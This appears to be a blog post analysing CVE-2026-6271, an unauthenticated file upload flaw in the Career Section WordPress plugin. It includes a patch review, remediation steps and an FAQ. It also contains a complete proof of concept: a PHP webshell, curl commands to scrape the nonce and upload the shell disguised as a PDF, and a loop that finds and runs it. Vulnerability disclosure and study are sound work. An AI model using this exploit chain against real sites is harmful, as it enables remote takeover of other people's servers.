Career Section WordPress plugin banner

CVE-2026-6271: Unauthenticated RCE in Career Section Plugin (CVSS 9.8)

CVE-2026-6271 is a CVSS 9.8 Critical Unauthenticated Arbitrary File Upload vulnerability in the Career Section WordPress plugin. Any visitor — no account needed — can upload a PHP webshell through the job application form and execute arbitrary commands on the server.

Vulnerability Summary

FieldValue
Plugin NameCareer Section
Plugin Slugcareer-section
CVE IDCVE-2026-6271
CVSS Score9.8 (Critical)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Vulnerability TypeUnauthenticated Arbitrary File Upload
Affected Versions<= 1.7
Patched Version1.8
PublishedMay 13, 2026
ResearcherPaolo Tresso - Wordfence
Wordfence AdvisoryLink

Description

The Career Section plugin lets site owners publish job listings and collect applications. Each job post shows an “Apply Now” button that opens a form. The form accepts a CV file upload. In versions up to and including 1.7, that upload handler accepts any file type — including executable PHP files. Because the form is public and the CSRF token is embedded in the page HTML, no login or special permission is needed to exploit this.

An attacker can upload a PHP webshell. The server then stores it in a publicly accessible directory. The attacker requests the file directly, and the web server executes it. This gives the attacker full remote code execution on the host.

Technical Analysis

Execution Path

The plugin registers a custom post type csection for job listings via index.php. When a visitor views a job post, WordPress loads the template templates/single-csection.php.

That template serves two purposes: it renders the job detail page, and it processes the form submission when $_POST['first_name'] and $_POST['csaf_form_nonce'] are set.

// templates/single-csection.php — line 141
if ( isset( $_POST['first_name'], $_POST['csaf_form_nonce'] ) ){

Nonce Does Not Prevent Unauthenticated Access

The code does verify a nonce at line 151:

if ( ! wp_verify_nonce( $nonce, 'csaf_form_submission' ) ) {
    wp_die( esc_html__( 'Nonce verification failed', 'career-section' ) );
}

WordPress nonces are CSRF tokens, not authentication tokens. The nonce value is embedded in the form HTML for every visitor:

// templates/single-csection.php — line 316
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>

Any unauthenticated visitor who loads a job listing page receives a valid nonce in the page source. They can use that nonce to pass the verification check.

Missing File Type Validation

After passing the nonce check, the upload handler at lines 170–182 moves the file with no restriction on type:

// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    // Sanitize filename
    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file = time() . '_' . $original_name;
    $destination = $cs_dir . '/' . $name_file;

    // Use WP_Filesystem to move the file instead of move_uploaded_file()
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $cvfiles = "with your cv.";
        $uploaded_file_url = $upload_dir['baseurl'] . '/cs_applicant_submission_files/' . $name_file;
    }
}

sanitize_file_name() only cleans up special characters. It does not block dangerous extensions like .php. The file is moved to:

wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

There is no .htaccess file in that directory to block PHP execution. The uploaded PHP file is directly accessible via the web server and will execute.

Why It Is Critical

Proof of Concept

Disclaimer: This PoC is for educational purposes only. Only test on systems you own or have explicit written permission to test.

Prerequisites: Career Section plugin installed and active, version ≤ 1.7. At least one job post published.

Step 1 — Create a PHP Webshell

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Step 2 — Get a Valid Nonce from the Page

TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"   # any csection post URL

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"

Step 3 — Upload the Webshell

Record the current Unix timestamp before sending to estimate the filename:

TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "email_address=attacker@evil.com" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "cv=@shell.php;type=application/pdf" | grep -o "Application has been sent"

Step 4 — Execute the Webshell

The filename is <timestamp>_shell.php. Try timestamps around $TS:

UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell active at: $URL"
    echo "RCE output: $RESULT"
    break
  fi
done

Expected output:

Webshell active at: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Patch Analysis

Version 1.8 fixes the vulnerability with four changes.

1. File Type Allowlist

The patch adds an explicit allowlist of safe document types:

$csaf_allowed_types = array(
    'pdf'  => 'application/pdf',
    'doc'  => 'application/msword',
    'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
);

It then validates both the extension and the actual MIME type using WordPress’s wp_check_filetype_and_ext():

$csaf_filetype = wp_check_filetype_and_ext( $csaf_file['tmp_name'], $csaf_file['name'], $csaf_allowed_types );

if ( ! $csaf_filetype['ext'] || ! $csaf_filetype['type'] ) {
    wp_die( 'Invalid file type. Only PDF/DOC/DOCX allowed.' );
}

wp_check_filetype_and_ext() checks the file’s real content (magic bytes), not just the declared extension. Renaming shell.php to shell.pdf will fail this check.

2. Random Filename

The patch replaces the predictable time()_filename pattern with a 32-character random string:

$csaf_name_file = wp_generate_password( 32, false ) . '.' . $csaf_filetype['ext'];

This prevents attackers from guessing the upload path.

3. .htaccess Protection

The patch creates a .htaccess file in the upload directory that blocks PHP execution:

file_put_contents( $csaf_htaccess,
    "php_flag engine off\n<FilesMatch \"\\.php$\">\nDeny from all\n</FilesMatch>"
);

This is a defense-in-depth measure. Even if a PHP file reaches the directory somehow, it cannot be executed.

4. Authenticated Download Endpoint

Instead of serving files directly via a public URL, the patch routes file downloads through an admin endpoint that checks authentication and a valid nonce:

function csaf_download_cv() {
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( 'Unauthorized' );
    }
    if ( ! isset( $_GET['cs_nonce'] ) ||
         ! wp_verify_nonce( sanitize_text_field(wp_unslash( $_GET['cs_nonce'] )), 'csaf_download_cv' )
    ) {
        wp_die( 'Invalid request' );
    }
    // ... serve file securely
}
add_action( 'admin_post_csaf_download_cv', 'csaf_download_cv' );

Uploaded CVs are no longer directly accessible to anyone who guesses or discovers the filename.

Does the Fix Address the Root Cause?

Yes. The fix addresses the root cause (missing file type validation) and adds three additional layers of defense. The combination of content-based MIME validation, random filenames, .htaccess blocking, and an authenticated download endpoint makes this exploitation path effectively closed.

Timeline

DateEvent
May 13, 2026Wordfence publishes the advisory
May 13, 2026Version 1.8 released with the fix
May 14, 2026This blog post published

Remediation

Update the Career Section plugin to version 1.8 or later. Log in to your WordPress admin, go to Plugins → Installed Plugins, find Career Section, and click Update Now.

If you cannot update immediately:

php_flag engine off
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

References

  1. Wordfence Advisory — CVE-2026-6271
  2. Career Section on WordPress.org
  3. CVE-2026-6271 on MITRE
  4. Changeset 3507917 — patch commit
  5. Changeset 3507912 — patch commit
  6. Changeset 3507785 — patch commit

Frequently Asked Questions

What is CVE-2026-6271?

CVE-2026-6271 is a CVSS 9.8 Critical unauthenticated arbitrary file upload vulnerability in the Career Section WordPress plugin that allows any visitor to upload a PHP webshell and execute arbitrary commands on the server.

Which versions of Career Section are affected by CVE-2026-6271?

All versions of Career Section up to and including 1.7 are affected. Version 1.8 contains the fix and is safe to use.

What can an attacker do with CVE-2026-6271?

An attacker can upload a PHP webshell through the public job application form. Once the file is on the server, the attacker can request it directly and execute arbitrary commands, gaining full remote code execution on the host.

Does an attacker need to be logged in to exploit CVE-2026-6271?

No. The vulnerability is unauthenticated. Any visitor can exploit it without an account because the required nonce value is visible in the public job listing page HTML.

How do I fix CVE-2026-6271 in Career Section?

Update Career Section to version 1.8 or later. Log in to your WordPress admin dashboard, go to Plugins, find Career Section, and click Update Now. You can also update from the plugin page on wordpress.org.

Has Career Section been patched for CVE-2026-6271?

Yes. Version 1.8 was released on May 13, 2026 and fully resolves the vulnerability by adding a file type allowlist, random filenames, htaccess blocking, and an authenticated download endpoint.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee